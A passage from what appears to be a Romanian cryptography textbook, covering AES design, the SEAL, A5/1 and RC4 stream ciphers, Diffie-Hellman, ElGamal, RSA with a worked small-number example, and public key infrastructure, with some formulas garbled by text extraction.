algoritmul trebuia să se poată implementa atât hardware cât şi software;
AES trebuia să fie un standard public sau oferit cu licenţă nediscriminatorie.
În august 1998 NIST a selectat cinci finalişti pe criterii de securitate, eficienţă, flexibilitate şi
cerinţe de memorie. Finaliştii au fost:
1. Rijndael (Joan Daemen şi Vincent Rijmen, 86 de voturi),
2. Serpent (Ross Anderson, Eli Biham, Lars Knudsen, 56 voturi),
3. Twofish (echipa condusă de Bruce Schneier, 31 voturi),
4. RC6 (RSA Laboratories, 23 voturi),
5. MARS (IBM, 13 voturi),
În octombrie 2000 NIST a stabilit câştigătorul. Acesta este algoritmul Rijndael, dezvoltat de
doi tineri cercetători belgieni, Joan Daemen şi Vincent Rijmen şi care devine standard
guvernamental al SUA. Se spera ca Rjindael să devină standardul criptografic dominant în lume
pentru următorii 10 ani, AES depășind așteptările, rămânând și astăzi în topul algoritmilor de
criptare cu cheie secretă utilizați în diverse țări și domenii.
Rijndael permite lungimi de chei şi mărimi de blocuri de la 128 de biţi la 256 de biţi, în paşi
de câte 32 de biţi. Lungimea cheii şi lungimea blocului pot fi alese în mod independent, dar în
practică se presupunea folosirea a două variante: bloc de 128 biţi cu cheie de 128 biţi şi bloc de 128
biţi cu cheie de 256 biţi. Standardul comercial trebuia să devină cel mai probabil varianta 128/128.
O cheie de 128 biţi permite un spaţiu al cheilor de 2128 chei. În final s-a decis ca în AES numărul de
runde să depindă numai de mărimea cheii, fiind 10 pentru cazul cheii de 128 biți, 12 pentru 192 biți
şi 14 pentru 256 biți, lungimea blocului fiind aceeași în toate cazurile – 128 biți.
Preliminarii matematice. O descriere matematică detaliată nu este scopul acestui
compartiment, limitându-ne la o scurtă descriere teoretică, mai ales că pentru toate operațiile
definite în AES sunt elaborate diverse tabele care simplifică lucrurile pentru cei neinițiați în teorie,
care, de altfel, este destul de complicată și voluminoasă pentru a fi inclusă în acest manual.
Rijndael se bazează pe teoria câmpului Galois, în sensul că anumite operaţiuni sunt definite
la nivel de octet iar octeţii reprezintă elemente în câmpul finit GF(28). Cum toate reprezentările
câmpului finit GF(28) sunt izomorfe, se poate alege reprezentarea clasică polinomială, cu impact
pozitiv asupra complexităţii implementării.
Octetul b, format din biţii b7, b6, b5, b4, b3, b2, b1 şi b0, este considerat ca fiind un polinom de
gradul 7 cu coeficienţi 0 sau 1:
b7 x7 + b6 x6 + b5 x5 + b4 x4 + b3 x3 + b2 x2 + b1 x + b0
Operaţia de adunare este definită ca suma a două polinoame în care coeficienţii se adună
modulo 2 şi care corespunde operării XOR a celor doi octeţi corespondenţi. Sunt îndeplinite
9
axiomele grupului abelian: operaţia este internă, asociativă, comutativă, există element neutru şi
element invers.
Operaţia de înmulţire corespunde produsului a două polinoame modulo m, unde m este un
polinom ireductibil de grad 8 şi care pentru AES este
m(x) = x8 + x4 + x3 + x + 1.
Înmulţirea este internă (rezultatul este un polinom de grad strict mai mic ca 8), asociativă şi
există element neutru. Elementul invers se determină cu algoritmul lui Euclid, iar distributivitatea
celor doua operaţii se verifică.
Concluzia este că mulţimea celor 256 de valori posibile ale unui octet, împreună cu cele
două operaţiuni definite mai sus formează un câmp algebric finit, respectiv GF(28).
În proiectarea AES s-a ţinut cont de trei criterii:
rezistenţa împotriva tuturor atacurilor cunoscute;
viteza şi compactitatea codului pe un mare număr de platforme;
simplicitatea proiectării.
Ca şi DES, AES foloseşte substituţii şi permutări, ca şi runde multiple. Spre deosebire de
DES, toate operaţiile sunt la nivel de octet, pentru a permite implementări hardware şi software
eficiente.
În algoritmul AES rezultatul cifrat intermediar este numit vector state, care poate fi
reprezentat ca un tabel cu patru linii şi patru coloane, acestea fiind numerotate începând de la 0.
Vectorul state se iniţializează cu blocul de 128 biţi de text clar (în ordinea coloanelor, cu primii
patru octeţi în coloana 0) şi va fi modificat la fiecare pas al calculului, prin substituţii, permutări şi
alte transformări, rezultând în final blocul de 128 biţi de text cifrat.
Deoarece fiecare pas este reversibil, decriptarea se poate realiza prin rularea algoritmului de
la coadă la cap, sau prin rularea algoritmului de criptare nemodificat, dar folosind tabele diferite
(Figura 6.6).
10
Figura 6.6. Cifrarea și decifrarea AES
Generarea cheilor de rundă AES. Cheia de 128 de biţi este expandată în 11 tabele 4x4.
Expandarea este realizată prin rotiri repetate şi operaţii XOR asupra unor grupuri de biţi din cheia
originală. Înainte de a începe cele 10 runde, cheia se operează XOR cu vectorul state (Figura 6.7).
Calculul principal constă în execuţia a 10 runde, folosind cheia ki la iteraţia i. Fiecare rundă
constă în patru paşi, cu excepția ultimei, în care este omis pasul 3 de amestecare a coloanelor.
11
Pasul 1, the Byte Sub (BS) step (figura 6.8), realizează o substituţie octet cu octet asupra
vectorului state folosind o cutie S.
Pasul 3, the Mix Column (MC) step (Figura 6.10), amestecă fiecare coloană din vectorul
state independent de celelalte, prin înmulţirea coloanei cu o matrice constantă, multiplicarea fiind
realizată folosind câmpul finit Galois GF(28).
Pasul 4, the Add Round Key step, operează XOR cheia rk din runda respectivă cu vectorul
state (Figura 6.11).
12
Figura 6.11 Transformarea Add Round Key
Pasul AddRoundKey (ARK) este pasul în care este implicată cheia. El constă într-o simplă
operaţie de SAU exclusiv pe biţi între stare şi cheia de rundă (o cheie care este unică pentru fiecare
iteraţie, cheie calculată pe baza cheii secrete). Operaţia de combinare cu cheia secretă este una
extrem de simplă şi rapidă, dar algoritmul rămâne complex, din cauza complexităţii calculului
cheilor de rundă (Key Schedule), precum şi a celorlalţi paşi ai algoritmului.
Avantajele AES relativ la implementare sunt (amintim că AES a fost aprobat în 2002):
AES se poate implementa pe un procesor Pentium Pro3 şi va rula cu o viteză mai mare
decât orice alt cifru bloc;
AES se poate implementa pe un dispozitiv Smart Card, folosind un spaţiu redus de
memorie RAM şi un număr redus de cicluri;
transformarea din cadrul unei runde este paralelă prin proiectare, ceea ce constituie un
avantaj pentru viitoarele procesoare;
AES nu foloseşte operaţii aritmetice, ci doar operaţii la nivel de şiruri de biţi.
Simplitatea proiectării AES:
- AES nu foloseşte componente criptografice externe, cum ar fi cutii S, biţi aleatori sau
şiruri de cifre din dezvoltarea numărului ;
- AES nu îşi bazează securitatea pe interacţiuni obscure sau greu de înţeles între operaţiuni
aritmetice;
- proiectarea clară a AES nu permite ascunderea unei “trape”.
Lungimea variabilă a blocului
3
Pentium Pro este un microprocesor x86 de generația a șasea, dezvoltat și fabricat de Intel, introdus în 1 noiembrie
1995. Proprietăți: max. CPU clock rate - 150 MHz to 200 MHz, FSB speeds - 60 MHz to 66 MHz, min. feature size-
0.35 µm to 0.50 µm, microarchitecture- P6, 1 core, socket 8.
13
- lungimile de bloc de 192 şi 256 biţi permit construirea unei funcţii hash iterative
folosind AES ca funcţie de compresie.
Extensii:
- proiectarea permite specificarea de variante cu lungimi de blocuri şi lungimi de chei
aflate între 128 şi 256 biţi, în paşi de câte 32 de biţi;
- deşi numărul de runde în AES este fixat în specificaţiile algoritmului, el poate modificat
ca un parametru în cazul unor probleme de securitate.
Limitările AES sunt în legătură cu algoritmul de decriptare:
- algoritmul de decriptare este mai puţin pretabil la implementarea pe un dispozitiv Smart
Card, deoarece necesită mai mult cod şi mai multe cicluri;
- implementarea software a AES foloseşte cod şi/sau tabele diferite pentru algoritmul de
criptare, respectiv decriptare;
- implementarea hardware a AES a algoritmului de decriptare refoloseşte doar parţial
circuitele care implementează algoritmul de criptare.
Rijndael, ca și toți ceilalți algoritmi ajunși în etapa finală de selecție pentru standardul AES,
a fost revizuit de NSA4 și, ca și ceilalți finaliști, este considerat suficient de sigur pentru a fi folosit
la criptarea informațiilor guvernamentale americane neclasificate. În iunie 2003, guvernul SUA a
decis ca AES să poată fi folosit pentru informații clasificate. Până la nivelul SECRET, se pot folosi
toate cele trei lungimi de cheie standardizate, 128, 192 și 256 biți. Informațiile TOP SECRET (cel
mai înalt nivel de clasificare) pot fi criptate doar cu chei pe 256 biți.
Atacul cel mai realizabil împotriva AES este îndreptat împotriva variantelor Rijndael cu
număr redus de iterații. AES are 10 iterații la o cheie de 128 de biți, 12 la cheie de 192 de biți și 14
la cheie de 256 de biți, iar cele mai cunoscute atacuri la momentul actual sunt pentru cifruri cu un
număr redus de iterații: 7, 8, respectiv 9 pentru cele trei lungimi ale cheii.
B. Schneier5, unul dintre cei mai de vază criptografi ai momentului, a declarat că deoarece
căutarea permanentă rezultă cu succese pentru criptanalişti, pentru siguranţă, în caz de necesitate, e
recomandată trecerea de la 10 la 16 runde pentru AES-128, de la 12 la 20 pentru AES 192 şi de la
14 la 28 pentru AES-256.
C c1c2 c3 ... ek (m1 )ek (m2 )ek (m3 )... , unde m1, m2, …, sunt blocuri ale textului clar. Pentru cifrurile
fluide avem o situație diferită, acolo fiind utilizate cheile fluide.
Cheia fluidă (keystream) este un flux de caractere aleatoare sau pseudoaleatoare6 de forma
k=k1k2k3…, care sunt combinate cu un text clar pentru a produce un text criptat. Elementele ki ale
cheii fluide pot fi biți, octeți, numere sau caractere reale, cum ar fi A, B,…, Z, în funcție de caz. De
obicei, pentru a produce textul cifrat, fiecare element al cheii fluide este supus operației de adunare,
scădere sau XOR cu un element al textului clar, folosind aritmetica modulară.
Un algoritm de criptare care criptează un text clar m = m1m2m3… în textul cifrat
C c1c2 c3 ... ek1 (m1 )ek2 (m2 )ek3 (m3 )... ,
se numeşte algoritm fluid de criptare, unde k=k1k2k3… este o cheie fluidă, iar m1, m2, m3, … -
elemente ale textului clar.
Problema principală în sistemele fluide de criptare o reprezintă generarea cheii de criptare.
Aceasta se poate realiza fie aleator, fie pe baza unui algoritm care pleacă de la o secvenţă mică de
chei de criptare. Un astfel de algoritm se numeşte generator de chei fluide, care este de fapt un
generator de numere pseudo-aleatoare7.
Algoritmii simetrici de tip şir se împart în două clase mari: cifruri şir sincrone şi cifruri şir
asincrone.
16
propagarea limitată a erorii – să presupunem că starea unui cifru şir asincron depinde de t
biţi cifraţi anteriori; dacă un singur bit cifrat este modificat, şters sau inserat în timpul
transmisiei, atunci decriptarea a cel mult t biţi următori de text cifrat va fi incorectă, după
care se reia decriptarea corectă;
atacuri active – limitarea propagării erorii face ca orice modificare a textului cifrat de către
un adversar activ să aibă ca şi consecinţă decriptarea incorectă a altor biţi cifraţi, ceea ce
poate mări posibilitatea ca atacul să fie observat de către decriptor; pe de altă parte, datorită
auto-sincronizării este mai dificil decât în cazul cifrurilor şir sincrone să se detecteze
inserarea, ştergerea sau modificarea unor biţi în textul cifrat; trebuie deci să se folosească
mecanisme suplimentare de autentificare a expeditorului şi de garantare a integrităţii datelor.
difuzia statisticilor textului în clar – deoarece fiecare bit de text clar influenţează toţi biţii
cifraţi următori, proprietăţile statistice ale textului clar sunt dispersate în textul cifrat; ca o
consecinţă, cifrurile şir asincrone trebuie să fie mai rezistente decât cifrurile şir sincrone faţă
de atacurile bazate pe redundanţa textului clar.
h( B, C , D) B C D;
A || B – concatenarea lui A cu B;
18
Figura 6.12. Schema ciclului intern SEAL
Algoritmul de generare a tabelei G pentru SEAL 2.0 este următorul:
Intrare: un şir a de 160 biţi şi un întreg i (0 ≤ i < 232).
Ieşire: Ga(i) – şir de 160 biţi.
1. Se definesc constantele (de 32 biţi):
y1 = 0x5a827999,
y2 = 0x6ed9eba1,
y3 = 0x8f1bbcdc,
y4 = 0xca62c1d6
2. a. X0 ← i;
b. for j ← 1 to 15 do Xj ← 0x00000000;
c. for j ← 16 to 79 do Xj ← ((Xj −3 Xj −8 Xj −14 Xj −16) << 1);
d. (A, B, C, D, E) ← (H0 , H1, H2, H3, H4) unde a =H0 H1 H2 H3 H4;
e. (Runda 1): for j ← 0 to 19 do
t ← ((A << 5) + f(B, C, D) + E + X j + y1 );
(A, B, C, D, E) ← (t, A, B << 30, C, D);
f. (Runda 2): for j ← 20 to 39 do
t ← ((A << 5) + h(B, C, D) + E + X j + y2);
(A, B, C, D, E) ← (t, A, B << 30, C, D);
g. (Runda 3): for j ← 40 to 59 do
t ← ((A << 5) + h(B, C, D) + E + X j + y3);
(A, B, C, D, E) ← (t, A, B << 30, C, D);
h. (Runda 4): for j ← 60 to 79 do
t ← ((A << 5) + h(B, C, D) + E + X j + y4);
(A, B, C, D, E) ← (t, A, B << 30, C, D);
i. (H0 , H1, H2, H3, H4) ← (H0 +A, H1+B, H2+C, H3+D, H4+E) ;
Ga(i) = H0 || H1 || H2 || H3 || H4 .
19
Generatorul de chei fluide pentru SEAL 2.0 – SEAL(a, n):
Intrare: a – cheia secretă (160 biţi), n [0, 232 ) – întreg,
L - lungimea solicitată pentru cheia fluidă.
Ieşire: cheia fluidă y, |y| L ,unde L este primul multiplu de 128 din
intervalul [ L, ).
unde H 0i H1i H 2i H 3i H 4i Ga ( i / 5 ).
20
Q ← (Q + B) 0x000007fc, C ← C + T [Q/4], B ← (B >> 9);
P ← (P + C) 0x000007fc, D ← D + T [P/4], C ← (C >> 9);
Q ← (Q + D) 0x000007fc, A ← A + T [Q/4], D ← (D >> 9);
y ← y||(B + S[4·i − 4]) || (C S[4·i − 3]) || (D + S[4·i − 2]) || (A S[4·i − 1]).
if |y| ≥ L then return(y) STOP
else if i (mod 2) = 1 then (A, C) ← (A + n1, C + n2 )
else (A, C) ← (A + n3, C + n4 );
c. l ← l + 1.
Menţionăm că în majoritatea aplicaţiilor pentru SEAL 2.0 se foloseşte L ≤ 219 . Algoritmul
funcţionează şi pentru valori mai mari, dar devine ineficient deoarece creşte mult dimensiunea
tabelei R. O soluţie este concatenarea cheilor fluide SEAL(a, 0) || SEAL(a, 1) || SEAL(a, 2) ||…
Deoarece n < 232, se pot obţine astfel chei fluide de lungimi până la 251, păstrând L = 219.
Pentru algoritmul SEAL nu sunt publicate metode eficiente de spargere. În anul 1997 a fost
publicat o metodă de atac bazată pe Criptanaliza 2 care permite determinarea unei părţi mari din
tabelele interne, însă era aplicabilă numai la o versiune simplificată a lui SEAL. Trebuie de
menţionat aici că Don Coppersmith (care este şi coautor al lui DES) este şi unul dinte cei mai abili
criptanalişti. La ziua de azi ultima dintre versiunile acestui cifru este SEAL 3.0, care este și cea mai
rezistentă la atacuri.
6.3.5. Cifrul A5
Cifrul A5 (în prezent numit A5/1) este un cifru stream sincron folosit pentru a cripta fluxul
de date GSM, reprezentând inițial standardul european și cel din SUA pentru telefonia mobilă
celulară. A5 criptează linia dintre telefon şi celula de bază, restul legăturii rămânând necriptată.
Pentru alte țări a fost elaborată o modificare A5/2, care este însă mai puțin sigură. A5 este format
din trei LFSR-uri, care au registre de lungime 19, 22 şi respectiv 23. Toate polinoamele de feedback
sunt cu un număr redus de coeficienţi. Ieşirea este obţinută prin operarea XOR a celor trei LFSR-
uri. A5 foloseşte un clock control variabil. Fiecare registru face un clocking bazat pe bitul central,
care este operat XOR cu inversa funcţiei prag (threshold function) a biţilor de la mijlocul celor trei
registre. Un registru este sincronizat dacă bitul său de sincronizare (cel portocaliu) este în
concordanţă cu unul sau ambii biţi de sincronizare ale celorlalte două registre (figura 6.12). În mod
normal, două din LFSR-uri sunt sincronizate la fiecare iteraţie.
21
Figura 6.12. Cifrul A5/1
Există un atac trivial care necesită 240 criptări: se ghiceşte conţinutul primelor două LFSR,
apoi se determină al treilea din şirul generat. În ciuda acestui fapt, A5 este bine proiectat şi este
extrem de eficient. El trece cu succes toate testele statistice cunoscute şi singura sa slăbiciune rezidă
în faptul că registrele sunt scurte, ceea ce face posibilă o căutare exhaustivă. Variantele A5 cu
registre lungi şi polinoame feedback dense au un grad de siguranţă sporit.
8
Ronald Lorin Rivest (n. 1947, Schenectady, SUA) este un criptograf american, profesor de informatică la MIT. Este
cunoscut datorită muncii sale, împreună cu colegii Leonard Adleman și Adi Shamir în domeniul criptografiei cu chei
publice și în mod deosebit pentru inventarea algoritmului RSA, pentru care a primit în 2002 premiul Turing de la ACM.
Rivest a inventat și algoritmii de criptare cu cheie secretă RC2, RC4, RC5 și a colaborat la crearea RC6. Inițialele RC
înseamnă Cifrul Rivest (în engleză Rivest Cipher). De asemenea, a inventat funcțiile hash criptografice MD2, MD4 și
MD5.
22
şi un alt vector de 256 de octeţi cu cheia, repetând cheia, dacă este necesar, pentru a completa
vectorul cu componentele K0, K1, …, K255 :
j = 0;
For i = 0 to 255:
j = ( j + Si + Ki ) mod 256;
se schimbă Si cu Sj între ele.
Pe parcursul utilizării lui RC4 au fost depistate mai multe slăbiciuni, iar cea mai importantă
dintre ele provine de la generatorul de chei - primii octeți ai fluxului cheii nu sunt totalmente
aleatori și dezvăluie informații despre cheie (atacul Fluhrer). Acest lucru poate fi corectat pur și
simplu prin eliminarea unei secvențe inițiale a fluxului cheii, modificarea fiind cunoscută ca RC4-
dropN, unde N este de obicei un multiplu al lui 256 care indică numărul de octeți de la începutul
fluxului cheii care trebuiesc eliminați. Pentru a consolida RC4 au fost făcute mai multe încercări,
cele mai notabile fiind Spritz, RC4A, VMPC și RC4 +.
În sistemele simetrice de criptare, Alice şi Bob îşi aleg o cheie secretă k care defineşte
regulile de criptare ek şi decriptare dk. În aproape toate cazurile ek şi dk coincid sau se pot deduce
imediat una din alta. Un punct slab al sistemelor cu cheie privată este acela că necesită o
comunicare prealabilă a cheii între Alice şi Bob printr-un canal sigur, înainte de transmiterea
mesajului criptat. Practic, în condiţiile cererii tot mai mari de securizare a comunicaţiilor, acest
lucru este din ce în ce mai dificil de realizat. Astfel a apărut necesitatea de a crea sisteme care au alt
concept de transmitere a cheii.
24
TEMA 7: CRIPTOGRAFIA ASIMETRICĂ
Obiectivele temei:
Introducere în criptarea cu cheie publică.
Analiza algoritmului schimbului de chei Diffie-Hellman.
Analiza algoritmului de criptare ElGamal.
Analiza Algoritmului de criptare RSA.
Familiarizarea cu infrastructura cheilor publice (PKI).
Cuvinte-cheie:
criptare asimetrică, calculul puterii modulo n,
cheie publică, calculul inversului modulo n,
cheie privată, autoritate de certificare,
distribuirea cheilor, autoritate de înregistrare,
problema logaritmului discret, arhitecturi PKI.
La momentul actual cei mai cunoscuți algoritmi de criptare cu cheie publică sunt:
algoritmul RSA: se bazează pe dificultatea descompunerii în factori primi a numerelor
mari (de sute de cifre); este sistemul cel mai larg utilizat în acest moment;
algoritmul ElGamal: se bazează pe dificultatea calculului logaritmului discret într-un
corp finit;
algoritmul Merkle-Hellman: primul algoritmul definit cu cheie publică, bazat pe
problema {0, 1} a rucsacului, problemă NP – completă;
algoritmul McEliece: este bazat pe teoria algebrică a codurilor, decodificarea unui cod
liniar fiind de asemenea o problemă NP – completă;
curbe eliptice: sunt algoritmi de criptare care îşi desfăşoară calculele pe mulţimea
punctelor unei curbe eliptice.
3
Pentru comoditate şi exactitate vom considera G – un grup multiplicativ Zp* de ordin p 1,
cu p – număr prim, unde operaţia este înmulţirea modulo p.
1 2 10
Exemplu. Fie p = 11 și α=2. Atunci Z11
*
{2 mod11, 2 mod11,…, 2 mod11}=
={2, 4, 8, 5, 10, 9, 7, 3, 6, 1}= {1, 2, 3, 4, 5, 6, 7, 8, 9, 10}. Așadar, Z11* este un grup ciclic
multiplicativ de ordinul n=10 și elementul generator α = 2.
Fie G - un grup ciclic de ordinul n şi α – elementul generator al său. Fie β – un element din
G. Logaritmul discret β în baza α, care se notează cu logα β, este unicul număr întreg a,
0 a | G | 1 , astfel încât = .
a
Elementul generator al grupului este α = 5. Deoarece 532 35 (mod 97), avem log535 = 32 în Z 97
*
.
4
Exemplu de utilizare a schimbului de chei Diffie-Hellman:
Alice şi Bob convin asupra lui p = 23 şi = 5.
Alice alege aleatoriu a = 6 şi îi trimite lui Bob A = 56 mod 23=8.
Bob alege aleatoriu b = 15 şi trimite lui Alice 515 mod 23 = 19.
Alice calculează 196 mod 23 = 2.
Bob calculează 815 mod 23 = 2.
Alice şi Bob au abţinut aleşi rezultat, deci cheia secretă comună este k = 2.
Cheia secretă stabilită de cei doi utilizatori Alice şi Bob este k. Menţionăm că p şi nu este necesar
de ţinut în secret.
În realizările practice ale Algoritmului Diffie-Hellman NIST recomandă pentru perioada
2016-2030 utilizarea cheilor de cel puțin 224 biți, iar a modulului p – de cel puțin 2048 biți, ceea ce
corespunde în reprezentarea zecimală la 68 și respectiv 617 cifre (acești parametri sunt recomandați
pentru toți algoritmii care funcționează în baza problemei logaritmului discret). Numărul α
(generatorul) nu este neapărat mare şi de obicei are valori mai mici ca 10. Ţinând cont de aceste
mărimi ale parametrilor a, b şi p putem afirma cu certitudine că securitatea algoritmului este
asigurată, deoarece determinarea cheii secrete cunoscând numai α, p, b mod p, b mod p (fără a
cunoaşte a şi b – ele fiind menţinute în secret) este o problemă extrem de complicată care nu poate
fi rezolvată într-un timp rezonabil.
Algoritmul Diffie-Hellman poate fi utilizat şi pentru criptarea cu cheie secretă. În acest caz
schema este aceeaşi ca şi mai sus însă cu unele particularităţi. Alice nu transmite direct lui Bob
valorile p, şi A însă le publică din timp, ele având calitatea de cheie publică. Bob la rândul său
efectuează calculele sale, după care cifrează mesajul cu un algoritm simetric, folosind k în calitate
de cheie, apoi transmite spre Alice textul cifrat împreună cu valoarea lui B. În practică însă
algoritmul Diffie-Hellman nu este utilizat pentru criptare, deoarece există alți algoritmi cu cheie
publică mai eficienți.
1
Taher Elgamal, (născut la 18 august 1955) este un criptograf egiptean. Este autorul algoritmului de criptare și a
schemei de semătură digitală ce îi poartă numele. De asemenea, a participat la elaborarea protocolului „SET” de plată
cu carduri de credit și la o serie de scheme de plată prin Internet.
5
algoritmi care sunt utilizaţi pentru criptare şi pentru asigurarea autenticităţii. Algoritmul ElGamal
nu a fost brevetat şi deci este o alternativă mai puţin costisitoare decât altele, deoarece nu este
necesară achitarea unei taxă pentru licenţă. Se consideră că algoritmul ElGamal este acoperit de
brevetul Diffie-Hellman.
Ca și oricare alt algoritm de criptare, ElGmal constă din trei module.
1. Generarea cheilor:
se generează aleatoriu un număr prim p de n biţi;
se alege aleatoriu elementul primitiv al lui Zp*;
se alege aleatoriu un număr întreg a încât 1 < a ≤ p – 2;
se calculează y = a (mod p);
cheia publică este tripletul (p, , y), cheia privată – numărul a.
2. Cifrarea mesajului m, (m trebuie mai întâi codificat cu ajutorul unuia dintre sistemele de
codificare a caracterelor, aspre exemplu ASCII) în algoritmul ElGamal este de fapt o
modalitate de generare a cheii publice Diffie-Hellman:
se alege aleatoriu cheia de sesiune – un număr întreg k, 1 < k ≤ p – 2;
se calculează A = k (mod p) şi B = y k m (mod p);
textul cifrat este perechea de numere (A, B).
Este evident că lungimea textului cifrat cu algoritmul ElGamal este de două ori mai mare
decât lungimea textului clar m.
3. Descifrarea. Cunoscând cheia privată a, textul clar m poate fi calculat din textul cifrat
( A, B) în felul următor:
7
7.4. Algoritmul de criptare RSA
Un alt algoritm de criptare bazat pe o problemă dificilă este Algoritmul RSA, numit astfel
după inventatorii săi, Rivest, Shamir2 şi Adelman3. A fost publicat în 1978 şi rămâne un algoritm
foarte folosit şi astăzi, în ciuda eforturilor criptanaliştilor de a-l sparge.
2
Adi Shamir (n. 1952, Tel Aviv, Israel) este un informatician și criptograf israelian, cu numeroase contribuții în
domeniul informaticii și criptanalizei, cunoscut mai ales pentru rolul său în dezvoltarea algoritmului de criptare cu chei
publice RSA și a schemei de indentificare Feige-Fiat-Shamir.
3
Leonard Max Adleman (n. 31 decembrie 1945, San Francisco, SUA) este un informatician și biolog american,
cunoscut mai ales pentru rolul său în dezvoltarea algoritmului de criptare cu chei publice RSA.
8
2. Algoritmul de criptare:
Fie m – mesajul în clar dat sub forma unui număr natural mai mic decât n (m poate fi
reprezentat zecimal în conformitate cu tabelul ASCII de codificare a caracterelor). Atunci
textul cifrat, notat cu c, este
c m e mod n.
3. Algoritmul de decriptare:
Fie c – textul cifrat primit. Atunci textul clar m în reprezentarea numerică este
m c d mod n,
9
Pentru calcularea inversului d al uni număr întreg e în clasele de resturi modulo n putem
aplica algoritmul Euclid extins, care poate fi reprezentat cu ajutorul tabelului 7.1. În acest tabel
avem:
x1 1, y1 0, r1 n, x2 0, y2 1, r2 e.
r
qi i 1 , i 2, 3, ... ,
ri
unde [x] reprezintă partea întreagă a numărului x. Pentru i 3, 4, 5 ... avem:
ri ri 2 mod ri 1 , ,
xi xi 2 qi 1 xi 1 ,
yi yi 2 qi 1 yi 1 .
Procesul continuă până când obţinem r 1. În acest caz (la iteraţia k) e-1 mod n = yk. În
cazul în care yk < 0 se adună modulul n. De menționat că coloana care îi corespunde lui x nu este
necesară la calcularea inversului unui număr, ea fiind totuși parte a algoritmului Euclid extins și este
necesară pentru calcularea cmmdc a două numere în clasa modulo.
i x y r q
1 1 0 n
r
2 0 1 a q2 1
r2
r
3 xi xi 2 qi 1 xi 1 yi yi 2 qi 1 yi 1 ri ri 2 mod ri 1 q3 2
r3
… … … … …
r
k xk xk 2 qk 1 xk 1 yk yk 2 qk 1 yk 1 1 qk k 1
rk
Tabelul 7.1. Schema algoritmului Euclid extins
Notă: În cazul în care dispunem de un algoritm rapid de calcul al puterii modulo putem calcula
inversul modular folosindu-ne de formula
x 1 mod n x n2 m od n.
10
Calculează produsul
n = 31 23 = 713.
Apoi calculează indicatorul Euler
φ(n) = (p − 1)(q − 1) = 30 22 = 660.
În continuare Bob alege aleator un număr e astfel ca 1 < e < φ(n) și cmmdc(e, φ(n)) = 1, adică
1<e<660 şi cmmdc(e, 660) = 1. Fie că el alege
e = 223.
-1
Calculează d = 223 mod 660 aplicând, spre exemplu, algoritmul Euclid extins (tabelul 7.2).
i y r q
1 0 660
2 1 223 2
3 -2 214 1
… 3 9 23
k –71 7 1
74 2 3
–293 1 2
Stop!
Tabelul 7.2. Schema algoritmului Euclid extins pentru d = 223-1 mod 660
Aşadar,
d = 223-1 mod 660 = –293 mod 660 = –293 + 660 = 367
Deci cheia privată (secretă) a lui Bob este SK=(367, 713).
Cheia sa publică PK= (223, 713) – Bob o transmite lui Alice.
Alice trebuie să trimită mesajul „A” lui Bob cifrând-ul cu algoritmul RSA. Conform tabelului
ASCII valoarea zecimală a lui „A” este 065=65. Deci m = 65. Pentru aceasta Alice calculează
c = 65223 mod 713,
aplicând algoritmul de calcul rapid al puterii modulare explicat mai sus. Reprezentarea binară a
exponentului 223 este:
22310 = 110111112.
Aşadar,
65223 mod 713 (((((((((((((652 mod 713) 65 mod n) 2 mod n) 2 mod n)
65 mod n) 2 mod n) 65 mod n) 2 mod n)
65 mod n) 2 mod n) 65 mod n) 2 mod n) 65 mod n).
Efectuând consecutive calculele se obţine
65 223 mod 713 396.
Alice trimite lui Bob textul cifrat
11
c 396.
Bob aplică aceeaşi metodă şi calculează
m c d mod n 396 367 65 =065,
adică conform tabelului ASCII – litera „A”.
Dacă numărul n nu este suficient de mare, atunci algoritmul poate fi spart. În cazul nostru
n=713. Acest număr poate fi foarte simplu factorizat: n = 713 = 31 23. Atacatorul cunoaşte cheia
publică, deci ştie că e = 223 şi la fel ca Bob calculează d şi obţine cheia lui privată, spărgând astfel
algoritmul.
12
Elementele funcţionale ale unei infrastructuri de chei publice includ autorităţile de
certificare (CA - certificate authority), autorităţile de înregistrare (Registration authority),
repozitorii şi arhive:
o autoritate de certificare (CA), similar unui notar, eliberează sau revocă certificate;
o autoritate de înregistrare (RA), o entitate care este încredinţată de CA să
înregistreze sau să garanteze asocierea dintre cheile publice şi identitatea titularului
certificatului cu o CA;
un repozitoriu este o bază de date de certificate digitale active şi liste de revocare a
certificatelor (CRL - Certificate Revocation List) pentru un mediu specific al PKI;
o arhivă este o bază de date de informaţii pentru a fi utilizate în soluţionarea
eventualelor viitoare litigii;
utilizatorii PKI sunt organizaţii sau persoane care utilizează PKI, dar care nu
eliberează certificate.
O autoritate de certificare este componenta de bază a PKI, împreună cu o colecţie de
hardware, software şi oameni care le operează. CA este cunoscută după numele acesteia şi cheia sa
publică și îndeplineşte patru funcţii de bază ale PKI:
1. eliberează certificate;
2. menţine informaţii cu privire la starea certificatelor şi eliberează fişiere CRL;
3. publică certificate curente şi fişiere CRL;
4. menţine arhivele de informaţii despre starea certificatelor expirate care au fost
eliberate.
O autoritate de certificare emite un certificat digital pentru fiecare identitate, confirmând că
identitatea are prerogative corespunzătoare. Un certificat digital include de obicei cheia publică,
informaţii despre identitatea părţii care deţine cheia privată corespunzătoare, perioada de
funcţionare pentru certificat şi semnătură digitală proprie CA. Autoritatea trebuie, de asemenea, să
elibereze şi să prelucreze listele de revocare a certificatelor (fişiere CRL), care sunt niște liste de
certificate ce au fost revocate deja.
O autoritate de înregistrare este proiectată pentru a verifica conţinutul certificatului pentru
CA. Ca şi autoritatea de certificare, o RA este o colecţie de hardware, software, şi persoana sau
persoanele care le operează. Spre deosebire de CA, o RA va fi deseori exploatată de către o singură
persoană. Fiecare CA va păstra o listă de autorități de înregistrare acreditate; o RA este cunoscută
pentru CA după numele şi cheia publică ale acesteia.
Un repozitoriu este necesar pentru distribuirea certificatelor şi a informaţiilor cu privire la
starea certificatului. Acest repozitoriu reprezintă un mijloc de stocare şi distribuire a certificatelor,
precum şi de gestionare a actualizării certificatelor.
13
O arhivă acceptă responsabilitatea pentru stocarea pe termen lung a informaţiilor în favoarea
CA. O arhivă afirmă că informaţia a fost bună în momentul în care a fost primită, şi nu a fost
modificată în timp ce s-a aflat în arhivă. Arhiva protejează informaţiile prin intermediul unor
mecanisme tehnice şi proceduri adecvate în timp ce le are în grija sa. În cazul în care apare un
diferend cu privire la o semnătură la o dată ulterioară, aceste informaţii pot fi utilizate pentru a
verifica dacă cheia privată asociată cu certificatul a fost utilizată pentru a semna un document.
Utilizatorii PKI se bazează pe alte componente ale infrastructurii de chei publice ca să
obţină certificate şi să verifice certificatele altor entităţi cu care fac afaceri. Aceste entităţi includ:
partea care se bazează pe certificat pentru ca să ştie, cu certitudine, cheia publică a
unei alte entităţi;
titularul certificatului, adică partea care are eliberat un certificat şi poate semna
documente digitale.
14
